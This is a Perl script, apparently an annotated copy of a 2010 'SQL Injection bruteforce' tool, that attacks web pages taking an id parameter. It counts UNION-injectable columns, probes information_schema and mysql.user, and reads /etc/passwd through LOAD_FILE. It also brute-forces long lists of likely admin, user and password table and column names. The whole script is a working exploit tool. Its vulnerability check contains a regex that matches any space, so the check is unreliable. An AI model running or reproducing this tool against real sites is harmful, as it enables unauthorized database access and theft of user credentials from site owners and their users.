sqli_brute.pl

#!/usr/bin/perl

# Use the "Simple" module from "LWP" lib
# More info: http://search.cpan.org/~gaas/libwww-perl-6.04/lib/LWP.pm
use LWP::Simple;

# Check if we have a third argument, exit if not found
# (first argument is 0, and it is not the script as you would expect)
if(!$ARGV[2]) {
    print "\n\n[+] SQL Injection bruteforce By Bl4k3 -[+]-\n=========================================";
    print "\n\nUse: perl $0 [WEBSITE] [COLUMNS] [FILE] [COMMENT] [-T] [-C] [-NOCHECK]\n";
    print "\n[WEBSITE]: http://www.web.com/index.php?id=\n[COLUMNS]: Limit of columns to check\n[FILE]: File where save the results\n[COMMENT]: '/*' o '--' (Without '') (Optional)\n[-T]: Try to brute force tables (Optional)\n[-C]: Try to brute force columns (Optional)\n[-NOCHECK]: Skip the initial check (Optional)\n\n";
    exit (0);
}

# Array to hold the usual table names to check for
@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
    'name','names','nombre','nombres','usuarios','member','members','admin_table',
    'miembro','miembros','membername','admins','administrator',
    'administrators','passwd','password','passwords','pass','Pass',
    'tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
    'member_password','mods','mod','moderators','moderator','user_email',
    'user_emails','user_mail','user_mails','mail','emails','email','address',
    'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
    'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
    'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
    'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
    'sistema_usuario','sistema_password','contrasena','auth','key','senha',
    'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
    'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
    'membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
    'associated','accnt','customers','customer','membres','administrateur','utilisateur',
    'tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
    'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
    'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');

# Array variable to hold usual column names to check for
@nombrecolumna=('admin_name','log_utenti','cla_adm','usu_adm', 'sanleo','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
    'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
    'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
    'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
    'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
    'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');

# Check if first argument (the site URL) has the http:// prefix, if not add it
if ( $ARGV[0] !~ /^http:/ ) {
    $ARGV[0] = "http://" . $ARGV[0];
}

# Check for any other arguments and set options accordingly
if ($ARGV[3] =~ "--" || $ARGV[4] =~ "--" || $ARGV[5] =~ "--" || $ARGV[6] =~ "--") {
    $cmn.= "+";
    $cfin.="--";
    print "\n[+] Comments to use: '--' & '+'";
} else {
    $cmn.= "/**/";
    $cfin.= "/*";
    print "\n[+] Comments to use: '/*' & '/**/'";
}

# Open the website URL and save content to file (filename supplied as ARGV[2])
open(WEB,">>".$ARGV[2]) || die "\n\n[-] Failed creating the file\n";

# Verify that we mentioned we want to skip the checking and act accordingly
if ($ARGV[3] =~ "-NOCHECK" || $ARGV[4] =~ "-NOCHECK" || $ARGV[5] =~ "-NOCHECK" || $ARGV[6] =~ "-NOCHECK") {
    print "\n[!] Skipping the initial check...\n";
    print WEB "[WEBSITE]:\n\n$ARGV[0]\n";
} else {
    print "\n[!] Checking if the website is vulnerable...\n";
    # Make a SQL Injection string
    $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cfin;
    # Request the URL with the injection string
    $response=get($sql)or die("[-] Wrong Website, check it\n");
    # Check if the webpage has sql errors and display an appropriate message
    # Usually when SQL query fails, an error message apears on the webpage
    # and because it's easyer for programmers to just let the message apear to
    # end users instead of logging them and displaying a generic error message
    # we can use these SQL query error messages to deduce if the site is
    # susceptible to SQL injection or not
    # This if block checks for various error messages using regex expressions
    if($response=~ /mysql_fetch_/ ||
    $response=~ /You have an error in your SQL syntax/ ||
    $response =~ /tem um erro de sintaxe no seu SQL/ ||
    $response =~ /mysql_num_rows/ ||
    $response =~ /Division by zero in/ ||
    $response =~ /SELECT * FROM/ ||
    $response =~/ / ||
    $response =~ /Mysql Error/ ||
    $response =~ /Mysql Error./ ||
    $response =~ /Incorrect syntax near/ ||
    $response =~ /[Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect/ ||
    $response =~ /Microsoft OLE DB Provider for SQL Server/) {
        print "[+] Vulnerable website, script continues...\n";
        print WEB "[WEBSITE]:\n\n$ARGV[0]\n";
    } else {
        print "[-] Website apparently not vulnerable to SQL Inyection, try another comment\n\n";
        exit(1);
    }
}

# Well if we got this far, the site is susceptible to SQL Injection
# Time to look up more info
# I must admit since this is not my script, I don't really understand some of
# the choices made, regarding the logic of this script (imho could use improvements)
print "\n[!] Looking up columns...\n";
for ($column = 0 ; $column < $ARGV[1] ; $column ++) {
    $union.=','.$column;
    $inyection.=','."0x6c6f67696e70776e7a";
    if ($column == 0) {
        print WEB "\n[COLUMNS]:\n\n";
        $inyection = '';
        $union = '';
    }
    # Compose injection string then GET the injected URL
    $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;
    $response=get($sql)or die("[-] Failed to try to find the number of columns, check website\n");
    if($response =~ /loginpwnz/) {
        $column ++;
        print "[+] The site has $column columns\n\n";
        $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
        print "$sql\n";
        print WEB "$sql\n";
        print "\n[!] Checking if Information_Schema exists...";
        # Compose injection string then GET the injected URL
        $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
        $response=get($sql)or die("[-] Impossible to get Information_Schema\n");
        if($response =~ /loginpwnz/) {
            print "\n[+] Information_Schema available...saving in $ARGV[2]";
            $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
            print WEB "\n\n[INFORMATION_SCHEMA]:\n\n$sql\n";
        } else {
            print "\n[-] Information_Schema unavailable";
        }
        print "\n[!] Checking if MySQL.User exists...";
        # Compose injection string then GET the injected URL
        $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
        $response=get($sql)or die("[-] Impossible to get MySQL.User\n");
        if($response =~ /loginpwnz/) {
            print "\n[+] MySQL.User available...saving in $ARGV[2]";
            $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
            print WEB "\n\n[MYSQL.USER]:\n\n$sql\n";
        } else {
            print "\n[-] MySQL.User unavailable";
        }
        while ($loadcont < $column-1) {
            $loadfile.=','.'load_file(0x2f6574632f706173737764)';
            $loadcont++;
        }
        print "\n[!] Checking if it is possible to inject LOAD_FILE...";
        # Compose injection string then GET the injected URL
        $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
        $response=get($sql)or die("[-] Imposible inyectar LOAD_FILE\n");
        if($response =~ /root:x:/)
        {
            print "\n[+] LOAD_FILE available...saving in $ARGV[2]";
            print WEB "\n\n[LOAD_FILE]:\n\nload_file(0x2f6574632f706173737764) => OK! (0x2f6574632f706173737764 => /etc/passwd)\n";
        } else {
            print "\n[-] LOAD_FILE unavailable";
        }
        if ($ARGV[3] =~ "-T" || $ARGV[4] =~ "-T" || $ARGV[5] =~ "-T" || $ARGV[6] =~ "-T") {
            print "\n\n[!] Brute forcing tables...";
            print WEB "\n\n[TABLES]:\n\n";
            foreach $tabla(@nombretabla) {
                chomp($tabla);
                # Compose injection string then GET the injected URL
                $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;
                $response=get($sql)or die("[-] Impossible to get tables\n");
                if($response =~ /loginpwnz/) {
                    print "\n[+] Table $tabla exists...saving in $ARGV[2]";
                    $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
                    print WEB "$sql\n";
                }
            }
        }
        if ($ARGV[3] =~ "-C" ||
        $ARGV[4] =~ "-C" ||
        $ARGV[5] =~ "-C" ||
        $ARGV[6] =~ "-C") {
            print "\n\n[!] Table to brute force columns: ";
            $tabla.='';
            chomp($tabla);
            print WEB "\n\n[COLUMNS IN TABLE $tabla]:\n\n";
            foreach $columna(@nombrecolumna) {
                chomp($columna);
                # Compose injection string then GET the injected URL
                $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$inyection.$cmn."from".$cmn.$tabla.$cfin;
                $response=get($sql)or die("[-] Impossible to get columns\n");
                if ($response =~ /loginpwnz/) {
                    print "\n[+] Column $columna available...saving in $ARGV[2]";
                    print WEB "$columna\n";
                }
            }
        }
        print WEB "\n\n\n[*EOF*]";
        print "\n\n[+] Everything saved correctly in $ARGV[2]\n\n";
        print "## c0ded by Bl4k3 | 2010 ##\n\n";
        exit (0);
    }
}
print "[-] Impossible to find number of columns, try more columns\n\n";
print "## c0ded by Bl4k3 , WyattLW | 2010 ##\n\n";
exit (0);